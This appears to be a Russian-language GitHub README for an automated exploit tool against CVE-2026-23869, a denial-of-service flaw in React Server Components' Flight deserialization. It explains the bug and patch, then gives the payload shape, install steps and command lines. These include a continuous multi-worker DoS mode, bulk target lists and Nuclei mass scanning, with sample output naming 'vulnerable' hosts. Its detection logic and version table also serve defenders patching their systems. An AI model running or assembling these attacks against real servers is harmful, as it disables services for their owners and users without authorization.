
Автоматизированный инструмент эксплуатации для CVE-2026-23869 — удалённого отказа в обслуживании (DoS) в React Server Components. Включает PoC, шаблон Nuclei и скрипты сканирования для обнаружения и эксплуатации.
Неаутентифицированный удалённый отказ в обслуживании через React Flight Protocol
Квадратичное истощение CPU при десериализации Map в Server Components
Обзор • Как это работает • Инструменты • Установка • Использование • Nuclei • Исправление • Отказ от ответственности
| Поле | Детали |
|---|---|
| CVE ID | CVE-2026-23869 |
| Псевдоним | React2DoS |
| Оценка CVSS | 7.5 (Высокая) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Неконтролируемое потребление ресурсов) |
| Тип | Неаутентифицированный удалённый отказ в обслуживании |
| Обнаружено | Yohann Sillam (Imperva Threat Research) |
| Затронуто | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Исправлено | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
Критическая уязвимость отказа в обслуживании существует в десериализации Flight protocol React Server Components. Неаутентифицированный злоумышленник может отправить один специально сформированный HTTP-запрос к любой конечной точке Server Action App Router в Next.js, вызывая квадратичное истощение CPU O(n²), которое блокирует сервер на несколько минут.
consumed при десериализации MapПротокол React Flight использует специальные маркеры для сериализации типов данных. $Q представляет объект Map. Когда сервер получает полезную нагрузку, содержащую самоссылающиеся маркеры $Q0:
Payload: [ [1,1], [1,1], ...(n допустимых записей)..., "$Q0", "$Q0", ...(n ссылок)... ]
Каждый $Q0 запускает конструктор new Map(), который перебирает все n допустимых записей. Конструктор Map выбрасывает ошибку (поскольку записи некорректны), но критическая ошибка заключается в том, что: флаг consumed никогда не устанавливается при сбое.
Это означает, что следующий $Q0 заново вычисляет ту же самую Map с нуля → создавая сложность O(n²):
n допустимых записей × n ссылок $Q0 = n² вызовов конструктора Map
Пример: 65 000 × 65 000 = 4 225 000 000 операций
Результат: Один запрос блокирует CPU на 5-10+ минут
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Атакующий │ ──────────────────────────────────────▶ │ Сервер Next.js │
│ │ Заголовок: Next-Action: <action_id> │ │
│ │ Тело: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% ЗАБЛОКИРОВАН │
└──────────┘ │ на ~5-10 мин │
└──────────────────┘
// ReactFlightReplyServer.js — ДО патча
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Завершается ошибкой, но не устанавливает consumed = true
// Следующий $Q0 пересчитывает с нуля
}
// ReactFlightReplyServer.js — ПОСЛЕ патча (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Исправление: установить флаг ДО создания
return new Map(data); // Предотвращает повторный пересчёт
}
| Файл | Описание |
|---|---|
poc.py | Полностью автоматизированный инструмент эксплуатации с 4-фазным конвейером (Разведка → Извлечение → Обнаружение → Эксплуатация) |
# Клонировать репозиторий
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Установить зависимость Python
pip install requests
# Сделать скрипты исполняемыми
chmod +x poc.py scan.sh extract-action-ids.sh
# Для сканирования шаблоном Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Для фильтрации живых целей
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Просто укажите URL — инструмент сделает всё автоматически:
python3 poc.py -u https://target.com
Что происходит:
# Сканировать список доменов/IP
python3 poc.py -L targets.txt
# С выводом JSON-отчёта
python3 poc.py -L targets.txt -o results.json
# Только безопасное обнаружение
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Одиночная эксплуатация
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# Непрерывный DoS (10 воркеров)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL Целевой URL (одна цель)
-L, --list FILE Файл с целевыми URL/IP (по одному в строке)
-a, --action-id ID ID Server Action (пропустить автоматическое извлечение)
--detect Только обнаружение — безопасно, неразрушающе (по умолчанию)
--single Одиночная эксплуатация после обнаружения
--exploit Непрерывный DoS после обнаружения
--extract Только извлечение action ID
-l, --length N Записей в полезной нагрузке (по умолчанию: 130000)
-w, --workers N Параллельных воркеров (по умолчанию: 5)
-d, --delay SEC Задержка между запросами (по умолчанию: 1.0)
-o, --output FILE Сохранить JSON-отчёт
-t, --threads N Параллельных целей для сканирования списка (по умолчанию: 3)
Оригинальный синтаксис PoC по-прежнему работает:
python3 poc.py <ACTION_ID> <URL>
# Одна цель
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# Несколько целей
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# Чистый вывод (только уязвимые результаты)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
Примечание: Флаг
-itags dosобязателен, поскольку Nuclei по умолчанию исключает DoS-шаблоны в целях безопасности.
Запрос 1 (GET /) → Определение Next.js (заголовки + HTML-маркеры)
Запрос 2 (GET /) → Извлечение ID Server Action из createServerReference()
Запрос 3 (POST /) → Базовый запрос для замера времени (безвредная нагрузка)
Запрос 4 (POST /) → Эксплуатационная проба (250 допустимых + 250 записей $Q0)
└─ Если время ответа ≥ 3с → УЯЗВИМО
# Запускает httpx → фильтрует живые цели → сканирование nuclei → результаты
./scan.sh
# Или укажите свои файлы
./scan.sh targets1.txt targets2.txt
Инструмент использует обнаружение на основе тайминга для безопасной идентификации уязвимых серверов:
Обнаружение подтверждается, когда:
multipart/form-data, содержащими маркеры $Q/CVE-2026-23869-Exploit/
├── README.md # Этот файл
├── poc.py # Полностью автоматизированный инструмент PoC
├── CVE-2026-23869.yaml # Шаблон обнаружения Nuclei
├── scan.sh # Автосканер httpx + nuclei
└── extract-action-ids.sh # Автономный извлекатель action ID
╔══════════════════════════════════════════════════╗
║ ФАЗА 1 ▸ РАЗВЕДКА ║
╚══════════════════════════════════════════════════╝
✓ Next.js обнаружен (Next.js)
✓ Build ID: abc123def456
✓ App Router: Server Actions обнаружены
╔══════════════════════════════════════════════════╗
║ ФАЗА 2 ▸ ИЗВЛЕЧЕНИЕ ACTION ID ║
╚══════════════════════════════════════════════════╝
✓ Найдено 3 Action ID:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ ФАЗА 3 ▸ ОБНАРУЖЕНИЕ УЯЗВИМОСТИ ║
╚══════════════════════════════════════════════════╝
[1/2] Базовый: 0.142с
[2/2] Проба: 7.891с (55.6x от базового)
██ УЯЗВИМО — CVE-2026-23869 ПОДТВЕРЖДЕНО ██
╔══════════════════════════════════════════════════════════════╗
║ РЕЗУЛЬТАТЫ ПАКЕТНОГО СКАНИРОВАНИЯ ║
╚══════════════════════════════════════════════════════════════╝
Просканировано : 150 целей за 45.2с
Уязвимых : 3
Исправленных : 12
Пропущено : 135
🔴 УЯЗВИМЫЕ ЦЕЛИ
─────────────────────────────────────────────────
# ЦЕЛЬ ПРОБА СООТНОШЕНИЕ
1 vulnerable-app.com 7.89с 55.6x
2 staging.example.com 4.21с 28.1x
3 dev.testsite.org 12.33с 82.2x
⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ
Этот инструмент предоставляется только в образовательных целях и для авторизованного тестирования на проникновение. Несанкционированное использование этого инструмента против целей, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и может нарушать законы о компьютерном мошенничестве (CFAA, CMA и др.).
Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте надлежащее письменное разрешение перед тестированием любых систем.
Если вы нашли это полезным, поставьте ⭐
CVE-2026-23869.yaml | Шаблон обнаружения Nuclei с оркестрацией на основе flow |
scan.sh | Скрипт-обёртка: фильтрация живых целей httpx + сканирование nuclei |
extract-action-ids.sh | Автономный извлекатель ID Server Action |
| Метрика | Уязвимый | Исправленный |
|---|
| Базовый (безвредный запрос) | ~0.1-0.5с | ~0.1-0.5с |
| Проба (500 записей) | 3-10+ секунд | ~0.1-0.5с |
| Соотношение (Проба/Базовый) | >5x | ~1x |
| Полная нагрузка (130K записей) | 5-10+ минут | ~0.1-0.5с |
| Пакет | Уязвимый | Исправленный |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |